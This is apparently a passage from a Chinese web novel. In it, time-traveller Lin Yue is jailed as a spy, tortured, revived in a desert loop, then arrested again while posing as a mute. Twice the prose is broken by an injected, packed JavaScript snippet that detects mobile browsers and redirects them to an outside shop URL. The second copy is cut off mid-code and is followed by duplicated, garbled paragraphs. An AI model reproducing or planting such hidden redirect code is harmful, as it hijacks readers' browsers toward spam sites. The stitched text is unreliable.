车轮碾过沙土路的颠簸,颠得他胃里翻江倒海。囚车没有减震,每一次颠簸都直接传到身体里,骨头像是要散架。他死死抓住囚车栏杆,木刺扎进手心,带来一阵刺痛。透过木栏缝隙,他看见那卖馒头的老汉正用勺得意地敲着笼屉,发出“咚咚”的节奏声,嘴里哼着不成调的小曲儿——仿佛刚才那场要命的闹剧,压根儿没发生过。 囚车驶进阴暗的巷子,两旁的土墙高耸,遮住了大部分阳光。巷子很窄,只能容一辆囚车通过,墙壁上长着青苔,湿漉漉的。林越的视线渐渐模糊,不知道是灰尘进了眼睛,还是泪水在眼眶里打转。他想起穿越前看过的那些小说,主角们总能靠现代知识呼风唤雨,发明火药、制造肥皂、推广土豆玉米,一举成为国家栋梁。而他……却因为一个发音,成了阶下囚! “那些小说都是骗人的!什么穿越后秒变人生赢家,我这都快成人生输家了,还是输得裤衩都不剩的那种。” “大炎律例第三十七条:凡通敌叛国者,斩立决……”囚车外传来模糊的诵读声,像是有人在宣读律法,声音断断续续,像毒蛇的信子钻进耳朵。 他打了个寒颤,寒意从脚底一直窜到头顶。猛然意识到更可怕的事——这个世界的规则,远比他想象的,要残酷百倍!在现代社会,说错话顶多被领导骂一顿,扣点绩效奖金;在这里,说错话是要掉脑袋的。这不是比喻,是真的会掉脑袋,刽子手的刀落下,头颅滚地,鲜血喷溅。 囚车继续颠簸前行,林越透过木栏缝隙看着外面的世界。街道两旁的行人纷纷避让,有的指指点点,交头接耳;有的摇头叹息,面露怜悯;还有的小孩好奇地探头探脑,想看看囚车里是什么人,被大人一把拽了回去,捂住眼睛或是拉走。 早知道就不该来这个集市,在破庙里啃树皮也比被当成奸细强。林越懊悔地想,可是不来又能怎样?饿死和被杀,好像也没什么区别,都是死路一条。区别可能在于,饿死是慢慢耗尽,被杀是一刀了断,前者痛苦漫长,后者干脆利落——如果刽子手技术好的话。 囚车拐进一条更窄的巷子,两旁的土墙高耸,阳光几乎照不进来,只有一线天光从高处洒下。巷子里阴冷潮湿,空气中弥漫着霉味和尿骚味。林越的心一点点沉下去,像石头沉入深井,连个水花都溅不起来。 这下真完了,连个目击证人都没有,想喊冤都没人听。这巷子僻静,就算喊破喉咙,估计也没人理会。那些衙役看起来也不是讲道理的人,他们需要的是交差,是抓住一个‘奸细’向上级邀功,至于这个人是不是真的奸细,并不重要。 突然,他想起怀里的平安扣玉坠,那块温润的青色玉石还贴着他的胸口,透过薄薄的衣料传来微凉的温度。这玩意儿还在,不知道能不能当个信物,证明我不是奸细?可是怎么证明呢?说这是现代工艺品?那估计死得更快。说是祖传的?可这玉坠的工艺明显不符合这个时代,反而会成为另一个疑点。 就在他胡思乱想时,囚车停了下来。 3. 乱葬岗夜 林越猛地闭上眼睛,试图压下翻涌的心绪。他知道必须冷静!在这个陌生又危险的世界,脑子得转起来。穿越小说里的主角个个智计百出,他林越也得找出自己的活路!总不能真当个炮灰吧? 他开始搜刮穿越前的记忆。虽然不是什么专家,好歹受过现代教育,懂点科学原理和历史常识。对了!他以前对历史上的发明创造特别着迷,没准儿这些知识能在这鬼地方派上用场。比如造个指南针?或者搞点□□?虽然化学课都在睡觉,但基本原理还是知道的。硫磺、木炭、硝石,按一定比例混合……具体比例是多少来着?林越皱起眉头,努力回想。 林越深吸一口气,唰地睁开眼,开始扫视四周。囚车构造简单,但木头结实得很,是用老榆木钉成的,木板厚实。他琢磨着,要是能找到法子破坏它,没准儿就能溜之大吉。得等机会,还得小心别惊动看守。这感觉就像在办公室摸鱼,得时刻注意老板有没有在身后。 他检查囚车的结构,手指沿着木板缝隙摸索。缝隙很小,最大的地方也只能塞进一片指甲。车轮是实木的,轴心包着铁皮,转动时发出“吱嘎吱嘎”的声音。囚车没有锁,只是用一根粗木棍闩住了门。 正想着,囚车“哐当”一声停了下来,外面传来一阵吵嚷,像是有人在争执。林越的心瞬间提到嗓子眼——机会来了!他眼珠飞快转动,搜寻着可能的逃跑路线。这囚车看着破,但木头挺厚实,想撬开估计得费点劲。 就在他准备动手的当口,囚车门“吱呀”一声被拉开,刺眼的光线直射进来!林越眯起眼,用手挡住眼睛,好一会儿才适应光线。只见一个身影堵在门口,逆光中看不清面容,只能看到一个高大的轮廓,声音低沉有力:“跟我走,我能救你出去。” 林越心头一惊,心脏狂跳,但立刻反应过来——这恐怕是唯一的救命稻草!他毫不犹豫,连滚带爬地跟着那身影就蹿出了囚车。管他是谁呢,总比在囚车里等死强,先逃出去再说。 林越想抬头看清对方,可那人裹得严严实实,只露出一双眼睛。厚重的黑斗篷,布料粗糙,看起来像是粗麻织的,兜帽压得低低的。林越想从那眼神里挖出点线索,可它们深得像寒潭,半点不透底,既看不出善意,也看不出恶意,只有一种冷静的审视。 这打扮,跟电影里的神秘人似的。林越在心里嘀咕。 离开前,他飞快瞥了眼囚车方向——嘿,那场骚乱,居然是两三个守卫还在追一只瘦狗!林越看着那狗远去的背影,心里道了声谢,来不及细看,转身就走。 林越跟着那人七拐八绕,专挑小路,离集市越来越远。他们钻过窄巷,绕过闹哄哄的集市,穿过安静的居民区。每拐一个弯,周遭的气息都在变。 剧烈运动让暂时被遗忘的饥饿感卷土重来,更凶了!林越的肚子“咕噜噜”唱起了空城计,声音大得连前面带路的人都可能听到。他脑子里不受控制地冒出热腾腾的汤、香喷喷的烤肉…… 要是现在能来碗泡面就好了,加根火腿肠,再加个卤蛋。可心里也明白,跟着这个神秘人,目的地恐怕比一顿饭要紧得多。 高大的男人突然刹住脚步,动作快得林越差点撞到他背上。男人不由分说,一把将林越拽进了一家店铺的后院。这里是个无人看管的后厨,蒸汽弥漫,空气潮湿,锅里“咕嘟咕嘟”煮着东西,闻起来像是炖菜。灶台是土坯砌的,表面坑坑洼洼。 这地方,看着比公司的茶水间还简陋。 男人熟练地从锅里捞出点什么,用木勺舀了一勺炖菜,里面有几块萝卜和不知名的菜叶,递给林越,语气试探地问:“你真饿着肚子去集市打探?” 林越一听,心里咯噔一下——眼前这位,才是正主儿!小命捏在人家手里,他赶紧顺着话茬接。“谢了兄弟捞我!这不天没亮就急着出门,没顾上吃嘛。”边说边作势要去接男人递过来的东西,手伸到一半,又缩回来,搓了搓手,一副不好意思的样子。 然而,手还没碰到食物,男人猛地反手扣住了他的手腕!力道很大,像铁钳一样箍着。男人脸上露出一丝狡黠的笑,那笑容里带着得意和嘲讽:“尔说话习惯,果然不是本地哩。” 林越浑身一凉,血液像是瞬间凝固了——完了,掉坑里了!本想学对方口音蒙混过关,没成想反而成了暴露身份的铁证。刚才那句话,哪里露馅了?是“兄弟”这个词?还是“捞我”这个说法? 这感觉就像写代码时自以为写得很完美,结果一运行全是bug。 情势急转直下!林越像块破布,被粗暴地拖回了那辆冰冷的囚车,一路上踉踉跄跄,好几次差点摔倒。车子颠簸着,碾过飞沙走石的路面,一头扎进阴森的监狱大门。绝望和无助像冰冷的潮水淹没了他,前方等待的,是更残酷的折磨。 监狱大门是厚重的木头做的,上面钉着铁钉,推开时发出“嘎吱嘎吱”的声响。里面是一条昏暗的通道,两边是牢房,铁栏杆后面有模糊的人影晃动。 一顿严刑拷打下来,林越浑身没一块好肉,意志也濒临崩溃。鞭子抽在背上,火辣辣的疼;棍子敲在腿上,骨头像是要裂开;冷水泼在脸上,呛得他喘不过气。审问者逼他认下莫须有的罪名,声音冰冷而机械:“说,尔是不是北狄的探子?来黄壤屯做甚?同伙在哪?”林越百口莫辩,只能在痛苦中挣扎,重复着:“我不是……我只是逃难的……”但没人相信。 最后,他被像扔垃圾一样,重重摔在牢房冰冷的地上,身体撞击地面发出沉闷的响声。林越趴在地上,动弹不得,只能感觉到地面的凉意透过薄薄的衣服传到皮肤上。 林越满身血污,伤痕累累,瘫在地上动弹不得。即便如此,他还在苦中作乐,用残存的意志力强撑着不彻底沉沦,“至少我还活着,虽然活得有点惨。” 但□□的剧痛和精神的摧残最终压垮了他,意识渐渐模糊,像是沉入深水。这下真完了,早知道就该好好学历史,至少知道怎么在古代装本地人。林越最后的念头是后悔,然后是无边的黑暗。 狱卒进来时,发现林越没了气息,以为他死了。一边骂着“晦气”,一边粗暴地把他架起来,一人抬肩膀一人抬脚,准备按惯例处理。毫无怜悯,像丢垃圾一样,把他抬出了牢房,穿过昏暗的通道,朝监狱外走去。 扭曲的姿势让林越看清了狱卒腰间令牌的反面。那抹菱形炎纹中央,不知被谁用利器刻了个歪歪扭扭的“龙”字,笔画转折处带着点稚气,活像小孩的涂鸦,但刻得很深,像是用力划进去的。林越模糊地想,然后意识又沉了下去。 半路上,林越迷迷糊糊醒了一次。意识模糊,眼前一片朦胧。他恍惚看见头顶有三只黑鸟在盘旋,翅膀展开很大,在灰白的天空背景下显得格外醒目。它们飞得很低,像是在观察,又像是在等待。 一股悲凉涌上心头——他想到了现代,那个有文明有秩序的世界。在那儿,就算死了,也有人收尸,有人哀悼。而在这里,他只能无声无息地消失,像一粒尘埃落入沙漠。 要是死在现代就好了,好歹有人收尸……这念头刚在心底闪过,黑暗便再次吞噬了他。 当林越再次睁眼,他惊得差点跳起来——自己竟然又站在了那片烈日灼烤的无垠沙丘上!手里紧紧攥着的,是两样熟悉的街头小吃:关东煮和烤肠。一股难以抑制的饥饿感,不仅是胃在咆哮,灵魂深处也在渴求!林越再也忍不住,狼吞虎咽起来,三口两口就把烤肠吃完了,关东煮也吃得只剩汤。 不过,他还残存一丝理智,没把关东煮的汤喝光,小心翼翼地留了一点在纸杯里。这汤得省着点,谁知道下次什么时候才能喝到水。 沙丘上烈日当空,酷热难耐。林越脱下外套,紧紧裹住脑袋,想给自己找点阴凉,但效果有限,汗水还是不停地流。 就在这时,他瞥见了左手腕上——两道清晰的平行红痕!那痕迹鲜红刺眼,仿佛刚刚烙印上去。林越盯着这两道红痕,心头涌起强烈的不安。 他开始拼命回忆、复盘,想弄明白自己怎么又回到了沙丘。他记得自己好像经历了一场奇诡的旅程,穿越时空,经历了酷刑折磨,甚至尝到了冰冷的死亡滋味。 思来想去,林越决定不能干等。他深吸一口气,定了定神,再次迈开脚步,坚定地朝着黄壤屯进发。只有再次抵达那里,甚至继续走下去,他才可能找到回现实世界的路,也才可能解开手腕上红痕的秘密。这次一定要小心,不能再犯同样的错误。 他迈开步子,心里交织着决心、期待,还有一丝对未知的恐惧。 林越深一脚浅一脚地走在沙丘上,每一步都沉甸甸的,沙子陷进鞋里,摩擦着脚底。脚下的沙子“沙沙”作响,像在低声嘲笑他之前的错误选择。 抬头望天,太阳像个无情的火球炙烤大地,没有一丝云彩遮荫。汗水顺着额头滑落,流进眼睛,涩得他直眨眼,他却不敢停下——他知道,一旦停下,就可能永远迷失在这片沙海。 林越继续前行,思绪飘向远方。他想起了过去平凡真实的日子,每天早上被闹钟吵醒,挤地铁上班,坐在电脑前写代码。那些日子虽然辛苦,但至少熟悉,至少安全。 但手腕上那两道清晰的红痕,鲜红刺眼,无情地宣告着一切真实发生过,不是梦,不是幻觉。 他开始怀疑,这一切是否与那场奇诡的旅行有关?那次死亡真的存在吗?真死了的话,这身体,还有可能存在的灵魂,又是怎么“刷新”的?难道……这是一种循环? 这设定也太坑爹了吧?别人穿越都有系统提示,有任务列表,我这连个新手引导都没有,全靠自己摸索。林越苦笑,加快了脚步。 林越开始祈祷,希望这次能揭开真相,回到那个熟悉温暖的世界,虽然那个世界要加班,有KPI,有难缠的客户,但至少不用挨打,不用被杀。 一路上,林越重新审视自己的处境。他想起如何被那高大男人诱骗,对方用食物引诱他,用救命恩人的姿态获取信任;想起如何在厨房被识破身份;想起如何在牢里受尽折磨。他意识到,必须加倍小心,不能再轻信任何人。 这教训,比被项目经理坑了还深刻。林越开始观察环境,试图找出一条新的生路。他明白,只有不断学习和适应,才能在这个危机四伏的世界活下去。 林越决定改变策略。第一次,他莽撞地闯进集市,想用玉坠换食物;第二次,他轻信神秘人,想靠别人救命。这两次都失败了。这一次,他要靠自己,要谨慎,要观察,要学习。 黄昏将近,天色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119389|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐暗,沙丘被染上一层金色。林越终于再次抵达了黄壤屯,远远看到那些熟悉的土墙和房屋轮廓。又回来了,这次得换个策略。他躲在沙丘后面观察,没有立刻进去。 这次,林越决定从最基础的做起。 他竖起耳朵偷学当地人的方言土语,躲在集市外的树丛里,听过往行人的对话。他们说什么“咋个”、“恁地”、“晌午”,语气词很多,语调起伏大。眼睛像扫描仪一样记录他们的风俗习惯。 这学习强度,比考证书还大。林越拿出当年备考的劲头,在心里默记那些词汇和句式。 他观察他们的穿着打扮,都是粗布衣服,颜色以灰、褐、蓝为主;模仿他们的动作神态,走路时背微微驼;甚至开始尝试他们的饮食习惯。 唯一麻烦的是,短时间内语言习惯实在难改,林越试了几次,一张口还是现代普通话的调子。他干脆一咬牙——装哑巴!不说话总比说错话强。 没想到,这反而博得了大婶们的同情心。看到他一个年轻人不会说话,穿着破烂,蹲在墙角,有几个路过的妇人会停下脚步,叹口气,从篮子里摸出半个饼或者几颗枣子塞给他。 看来装可怜这招,古今通用。林越心里既感激又惭愧。 那双运动鞋,太显眼了,在这个布鞋草鞋的世界里,像是个异类。林越找了个机会,悄悄把运动鞋埋在了破庙里残破神像的底座下。再见了我的运动鞋,虽然你陪我走过很多路。 脚上换成了用玉坠跟村里富户换来的草鞋,多出来的钱,则换了一个火折子、一身换洗的粗布衣和一小袋宝贵的盐。 这交易还算划算,虽然玉坠没了,但至少有了生存物资。林越把火折子和盐小心地收进怀里,换上粗布衣。 夜幕降临,天色完全黑下来。林越蜷缩在破庙角落,借着火折子微弱的光检查被草鞋磨破的脚底。血痕渗进麻布,和布料粘在一起,一动就疼。 这疼痛,比连续加班脚肿了还难受。林越小心地把布料揭开,伤口已经红肿。他咬咬牙,用找出的破碗煮了点水,放凉后,冲洗在伤口上。 “嘶——”剧烈的疼痛让他倒吸一口冷气。 远处驼铃声悠悠传来,叮叮当当的。近处只有风沙啃噬朽木的“沙沙”轻响。林越咬开一粒盐,放在舌尖,咸涩的味道在舌尖炸开,瞬间激活了所有感官——这疼痛、这味道、这寒夜,都在狠狠告诉他:你还活着! 这次,他不再留恋黄壤屯。这地方太危险了,得赶紧走。天还没亮透,东方刚泛起鱼肚白,他就沿着驼队留下的痕迹一路向南疾行。目标只有一个:避开边境,躲开那些细作,离危险越远越好! 沙粒在晨光中镀着铁灰色。林越裹紧粗布衣,早晨很冷,寒气透过衣服钻进身体。他将草鞋残片死死缠紧,用布条把快散架的草鞋绑在脚上。他不敢歇脚,生怕情绪再陷下去。只有钻心的疼能把他牢牢钉在这世上。 驼铃声渐行渐远,最终消失在风里。地平线上浮出断断续续的夯土残垣,是座废弃的边防哨所,坍塌的墙缝里戳出焦黑的梁木。这地方看着就危险,得赶紧过去。林越加快脚步。 林越攀上残垣,站在墙头,俯瞰前方荒原——风沙里影影绰绰现出一条干涸河床,河床很宽,里面没有水,只有灰黄的砂砾和碎石。对岸能瞧见一杆孤零零的旗子,在风中飘摇,还有门楼的边角,青瓦飞檐,看起来比黄壤屯气派。 嘿,新城镇到了!这下好了,总算离开这个鬼地方了。林越深吸一口气,拍了拍身上的灰尘。 新的开始,这次一定要小心,不能再犯同样的错误了。林越在心里默念。 他检查了一下身上的东西:一身粗布衣;一双快散架的草鞋;一个火折子;一小袋盐;还有怀里仅剩的几文钱。 这就是我的全部家当了,比刚毕业时还穷。林越苦笑一声,摇了摇头。算了,有总比没有强。至少还活着,至少还有机会。 太阳渐渐升高,阳光照在新城镇的方向,给那座城镇镀上了一层金色。看起来还不错,至少比黄壤屯大。 林越深吸一口气,从残垣上爬下来,拍了拍手。他朝着新城镇的方向走去,脚步坚定,虽然慢,但一步不停。 这次一定要小心。他在心里默默告诫自己。装哑巴是个好办法,至少安全。不说话,不暴露口音,不引起怀疑。观察,学习,模仿,让自己融入环境。 风吹过,带来远处城镇的喧嚣声。 他加快了脚步,虽然脚上的草鞋越来越破;虽然肚子又开始咕咕叫;但他没有停下,不能停下。 新的开始,新的机会,这次一定要抓住。林越在心里给自己打气。我林越,可不是那么容易被打倒的。死过一次了,知道死亡的滋味了,反而更想活了。我要活下去,我要找到回去的路。 他回头看了一眼黄壤屯的方向,那个给他带来第一次死亡的地方。再见了,希望再也不见。然后转身,头也不回地朝着新城镇走去。 阳光照在他的背上,暖洋洋的,驱散了早晨的寒意。前方,是新城镇,是未知,也是希望。 林越迈着坚定的步伐,走向那个未知的城镇,走向那个可能改变他命运的地方。这一次,他要活下来,要活得更好,要找到答案。 4. 沉默代价 林越蹲在石板街的转角,把破包头巾又往下拽了拽,只露出一双眼睛。新城镇的石板路可比黄壤屯的土路平整多了,一块块青石板铺得整齐,缝隙里长着青苔。风沙也乖乖待着,不像黄壤屯那边整天尘土飞扬。两旁店铺门楣挂着晃眼的招牌,红底金字或黑底金字,写着“张记布庄”、“李记茶肆”、“王记铁铺”之类的。商队骆驼脖子上的铜铃叮叮当当响个不停,清脆的声音在街道上回荡。这地方看着比黄壤屯富裕多了,至少路是平的,不用深一脚浅一脚地走。 他摸了摸怀里焐得温热的铜板——昨儿帮酒肆伙计劈柴换的,一共五文钱,够买仨香喷喷的炊饼啦!铜板边缘有些磨损,但确实是真钱,沉甸甸的。这收入,比公司实习生的日薪还低,但至少能填饱肚子。在这个陌生世界,有食物就有活下去的希望。 “听说了没?城南王员外家的千金昨夜叫人掳走啦,官府正满城搜捕可疑人物哩!”卖茶水的妇人压着嗓子说,竹筒茶漏磕在石桌上“当啷”一响。 林越喉结一滚,悄没声儿地挪进阴影里,把自己藏在店铺屋檐下。这儿的人个个都像揣着秘密,走路时眼神飘忽,说话时声音压低。他这张生面孔,皮肤比本地人白些,身形虽然瘦但不像常年劳作的,怕不是比北狄探子还扎眼。 他埋着头,盯着石板缝里蚂蚁们嘿咻嘿咻搬碎屑。忽然觉得这些小东西都比自个儿自在。蝼蚁还能靠触须认亲呢,传递信息,分辨敌友;他倒好,连装个身份都得把舌头给“咔嚓”了,憋着不说话,憋得难受。这待遇,比公司那个被孤立的新人还惨,至少新人还能说话,还能辩解。 草鞋磨烂的脚底,每走一步都渗着血珠,在石板路上留下浅浅的淡红印子,又飞快地被尘土吞没。这草鞋质量真差,才穿两天就磨破了,比公司发的劳保鞋还差劲。林越能感觉到沙石透过草鞋的破洞硌着伤口,火辣辣的疼,但他必须忍着,不能表现出异样。 正午日头最毒辣时,阳光直射下来,石板反射着白光,刺得人睁不开眼。林越哧溜钻进了绸缎庄后巷。这附近挤满了装卸布匹的板车,车上堆着各色绸缎,红的绿的蓝的紫的,在阳光下泛着光泽。还挂着不少厚布帘子,闷得像蒸笼,不透一丝风,夜里却是挡风保暖的好窝,让他昨晚难得睡了个囫囵觉。 他猫在板车底下,透过缝隙瞄着街面。这个角度很好,能看到街上的情况,又不容易被发现。板车底下有阴影,相对凉爽,还能躲避正午的烈日。林越蜷缩着身体,像只警惕的猫。 几个玄铁甲护卫押着个五花大绑的少女走过,少女年纪不大,约莫十四五岁,瘦瘦小小,脏污不堪。她脖颈上挂着的玉坠在阳光下流转着一抹熟悉的青芒——正是他之前换给那富户的平安扣!那抹青色温润柔和,边缘规矩,正是现代机器打磨的痕迹。 “啪嗒!”一滴冷汗砸得手背发麻,凉意顺着皮肤蔓延。 林越心里直打鼓,这姑娘啥来头?玉坠咋又挂她脖子上了?难不成我那个玉坠是什么重要信物?难道这玉坠又转手了?可为什么她会被绑着?是犯人?还是证人? 这玉坠就像个烫手山芋,从黄壤屯富户手里转到这里,还挂在一个被绑的少女脖子上。林越脑子里飞快地转着:早知道这么麻烦,当初就不该换出去,留着当传家宝也好。现在倒好,自己换出去的玉坠,可能正给自己招来杀身之祸。这感觉就像写代码时留了个后门,结果被黑客利用了,自己还得背锅。 他强迫自己停止胡思乱想。现在想这些没用,重要的是活下去。玉坠再重要,也比不上小命重要。当务之急是避开麻烦,找到生路。 生怕自己留下的蛛丝马迹招来杀身祸,他屏住呼吸,缩得像个鹌鹑,连大气都不敢出。指甲狠狠掐进掌心,疼痛让他保持清醒。这感觉,比上班摸鱼被老板发现还紧张,心跳得像打鼓,手心全是汗。至少老板不会要我的命,最多扣工资开除,这里的护卫可是真会杀人的。 等人走远了,林越才敢慢慢爬出车底,装作没事人一样踱开,背脊却绷得跟拉满的弓弦似的。街角炊饼炉子噗噗冒着白烟,香气扑鼻。他木然地掏出铜板,手指有些颤抖。接过热饼时指尖还在抖,差点没拿稳。他咬了一口,饼是刚出炉的,外酥里软,但味同嚼蜡,只觉得那抹青芒在眼底烧得慌,像根刺扎在眼睛里。 他深吸一口气,逼自己别瞎琢磨,现在想这些没用,先活下去要紧。盘算着待会儿还能不能去酒肆伙计那儿讨点零活,昨天劈柴的表现应该不错,胖掌柜看起来人挺好。要是能找个稳当点的差事,没准儿能攒点盘缠继续往南奔。往南走,离边境越远越好,这地方太危险了。 可是谁让他是个“哑巴”,还是个没根脚的流民呢?找活儿的路子窄得像针眼。酒肆后厨要人做帮厨,集市上抬货也总缺人手,可都得管事验身登记,要问来历,要保人。他这种黑户,来历不明,没有保人,门都别想进,连登记表格都填不了。 这待遇,比公司那个实习生还惨,至少实习生有工牌,有劳动合同。这古代社会,比现代职场还看重身份证明。林越只好在市井旮旯里多转转,寻摸些不用签契的零碎活计,帮人跑腿卸货啥的,现结现清,不问来历。这种倒也有个好处——能偷偷学点本地最土最白的口音俚语,听那些搬运工、小贩、伙计们聊天,默默练习。 酒肆的胖掌柜心软,念着昨天林越帮伙计砍柴的老实劲儿,又看他可怜,冲他招招手,雇他搬酒坛。林越感激地猛点头,麻溜儿卷起粗布袖子就干上了。 酒坛死沉死沉,是陶制的,每个能装二十斤酒。压得他肩头又渗出血印子,昨天劈柴磨破的伤口还没好,今天又加重了。可他一声不吭,咬牙忍着,动作利索得像干惯了这苦力活。这工作强度,比公司搬服务器还累,至少服务器有轮子,有推车,有电梯。这里全靠人力,一楼到二楼,来回十几趟。 胖掌柜递来粗瓷碗盛的凉茶,碗边有缺口,但洗得干净。林越双手捧过,低头小口啜着,眼角余光却扫到柜台上摊开的新鲜通缉告示——墨迹还没干透呢,那画像的轮廓,隐隐约约竟有几分像自己!画得粗糙,但脸型、发型有几分相似。 林越心猛地一揪,脸上却纹丝不动,只把碗底残茶一口灌下,任那苦涩在喉咙里蔓延。这画像画得也太抽象了吧?就这也能认出是谁?线条潦草,五官模糊,只能说是个大概。可别认成我了,看来得要更低调才行。 远处“哐哐哐”锣声炸响,差役们吹着哨子巡街。路人纷纷停下受检,排成长队。 “闪开!都闪开!”震耳欲聋的呵斥声从巷口炸开。 林越浑身绷紧。只见十二名衙役簇拥着一顶四人抬的朱漆官轿逼近,轿子很气派。两侧衙役腰间的令牌泛着幽蓝的微光——那菱形炎纹,跟黄壤屯囚车守卫佩刀上的纹路,简直一个模子刻出来的! 林越猛地想起刚才路过酒肆前店听到的闲话:新调来的县官是个暴脾气,最恨人不敬。今天上午就有个愣头青冲撞了他的座驾,当场就被判了刑,被活活钉死在城门上,那招魂幡还在城楼上哗啦啦飘着呢。 他越发卖力地搬酒坛,动作加快,恨不得把自己融进这群干活的人里。真是比老板来视察时装忙还累,至少老板不会真打人,不会要命。 林越刚把第五坛酒糟搬上后厨的木案,就听见巷口传来“哗啦啦”铁链拖地的脆响。 他直起腰,抹了把额角的汗,透过厨房破窗缝往外瞧——两个衙役正杵在胖掌柜的酒坛堆前,那个络腮胡的绕进来,用铁链尖儿挑开他的包头巾,阴恻恻地问:“这哑巴是尔家伙计?” 胖掌柜的脸皱成了苦瓜,搓着手赔笑:“官爷说笑啦,这哑巴是今儿晌午才来打零工哩,就搬搬酒坛子,跟王员外家的事可八竿子打不着哇!他是个老实人,不会说话的。” 林越手心瞬间湿透。他死死攥住腰间的破布带——昨天那个带玉坠的少女,那枚青芒流转的平安扣,难道是循着味儿追过来了?这玉坠到底是什么来头? “没关?”络腮胡衙役猛地转身,铁链“哗啦”一声狠狠抽在地上,“有人看见这哑巴中午在绸缎庄后巷瞎转驴,跟掳走千金那贼人穿得一样烂巴!都是破布衣,草鞋,包头巾!” 林越的喉咙像被堵住了。他想摇头,想摆手,想吼“我没有”。可嘴唇哆嗦了几下,只挤出干涩的“嗬…嗬…”。一旦开口,口音就暴露了,后果可能更严重。 胖掌柜急得直跺脚:“官爷!他真是哑巴!昨天帮我劈柴,连个响哈都没出!您看他这模样,像是能掳走千金的人吗?瘦得跟竹竿似的!” 这掌柜人还不错,至少肯帮我说话。林越心里感激,但更多的是绝望。掌柜的话没用,衙役根本不听。 衙役伸手就抓林越的胳膊。林越往后一退,“哐当”撞翻了案上的酒坛,琥珀色的酒液“哗啦”淌了一地,浓烈的酒香弥漫开来。 看着衙役那只越来越近的手,林越突然想起牢里烧红的烙铁;想起带刺的鞭子;想起自己被扔到乱葬岗时头顶盘旋的黑鸟。他的腿开始发抖——像被逼到悬崖边的狼崽子。 他装哑巴是为了藏住舌头,为了活下去。可这会儿,沉默反倒成了他洗不清的罪!这什么道理?不说话也有罪?装哑巴也有罪? “跑哈?”络腮胡衙役一把攥住他的手腕,“咔嗒”一声锁上了铁链,“跟我们去官府!查清楚了尔是清白哩,自然放人!”语气里满是嘲讽。 林越挣扎起来,可衙役的手劲大得像头牛,硬把他往巷口拖。路过酒坛堆时,他眼角瞥见胖掌柜正偷偷往自己怀里塞铜板,嘴唇翕动,像是在说“对不住”。 他想起昨天劈柴时掌柜递来的那碗热粥;想起那些因为闭嘴才换来的丁点善意——路人大婶的饼,掌柜的粥。可现在,这点善意也“噗”地一下,碎成了泡影。 街上的行人都在看他,指指点点。一个挑着花担子的老太太停下脚步,从担子里拿出一朵蔫头耷脑的黄花,塞给他,嘴里叨咕着“造孽哟,这么年轻就……”。 林越盯着那朵花,想起黄壤屯大婶们塞给他的热乎烤红薯。可这会儿,这点暖意离他远得像上辈子的梦。 手腕被铁链勒得生疼。他想起手腕上那两条红痕;想起那些死而复生的怪事;想起自己为啥会流落到这鬼地方。他想,也许这次,又要完蛋了。这轮回比公司那个死循环的bug还难解。 衙役把他搡进官府大堂时,他一个踉跄。一抬头,正撞见堂上高悬的匾额——“明镜高悬”,四个大字红得刺眼。 他想起现代那些法院,气派的大楼,国徽高悬;想起“公平正义”的漂亮话。可眼前这大堂里光线昏暗,只有一个留着山羊胡的县官高高坐在案后,手里掂着惊堂木,看他的眼神活像在看砧板上待宰的肉。 “跪下!”衙役一声暴喝。水火棍“咚”地戳在他膝盖窝。 林越“扑通”跪倒,膝盖骨狠狠砸在冰凉的石板上。 县官“啪”地一拍惊堂木:“尔可知罪?”林越摇头,用力摇头。可他是个“哑巴”,只能摇头,用手比划。 “肃静!”堂上传来县官威严的声音,“今有流民触犯《大炎礼法》第三条:庶民见官不跪不拜,是为不敬!” 林越趴在地上,疼得直抽冷气。不跪不拜?这他妈不是跪着吗?从进大堂就跪着。这县官眼睛长屁股上了? 啪!第二杖落下,这次打在了腰眼上。林越感觉脊椎像要断了,眼前一黑,差点昏过去。 “又触犯《大炎礼法》第九条:问而不答,沉默以对,是为藐视公堂!”县官的声音慢条斯理。 林越想笑,但笑不出来。问而不答?我他妈是个“哑巴”,怎么答?用眼神答?用心灵感应?这审判,比甲方改需求还不讲理,至少甲方会给个理由,这个连理由都懒得编。 县官冷笑一声,从案上拈起一张纸抖了抖:“有人举报尔中午在绸缎庄后巷鬼鬼祟祟,与掳走王员外千金的贼人相貌相似!尔还有何话说?” 那纸上画的,赫然就是柜台那张通缉令,跟林越还真有三分像!这画像画得也太潦草了吧? 林越的眼泪都快憋出来了。他伸手去扯自己的包头巾,想露出整张脸让他们看清楚。 可县官“啪”又是一记惊堂木:“带证人!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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板子还在落下。他的后背已经麻木了,疼痛从尖锐变得钝重,像是有什么重物压在背上,每一次呼吸都扯动着伤口。他能闻到血腥味,混合着牢房特有的霉味,还有衙役身上的汗臭味。这些气味刺激着他的鼻腔,让他想吐,可胃里空空如也,只能干呕。 他不知道挨了多少下,只觉得后背像被活活撕开了。他趴在地上,看着自己的血慢慢洇进青石板的缝隙。 板子“啪”地一声狠狠砸在他背上。疼得他浑身筛糠似的抖。喉咙里挤出一声凄厉的“嗬——!” 他不知道挨了多少下,只觉得后背像被活活撕开了。他趴在地上,看着自己的血慢慢洇进青石板的缝隙。 可这回他没死成,没有复活,没回到沙丘。只有无边无际的疼;只有身下冰冷的石板;只有四周那些冷冰冰的嘲笑。 衙役把他拖进牢里时,他已经昏死过去。他梦见自己回到了现代,回到了那家便利店;梦见自己说话了;梦见妈妈坐在床边说“没事了”;梦见电脑里没写完的文件。 可等他睁开眼,眼前只有牢房浓得化不开的黑;只有墙角窸窸窣窣的老鼠;只有身上火烧火燎的疼。 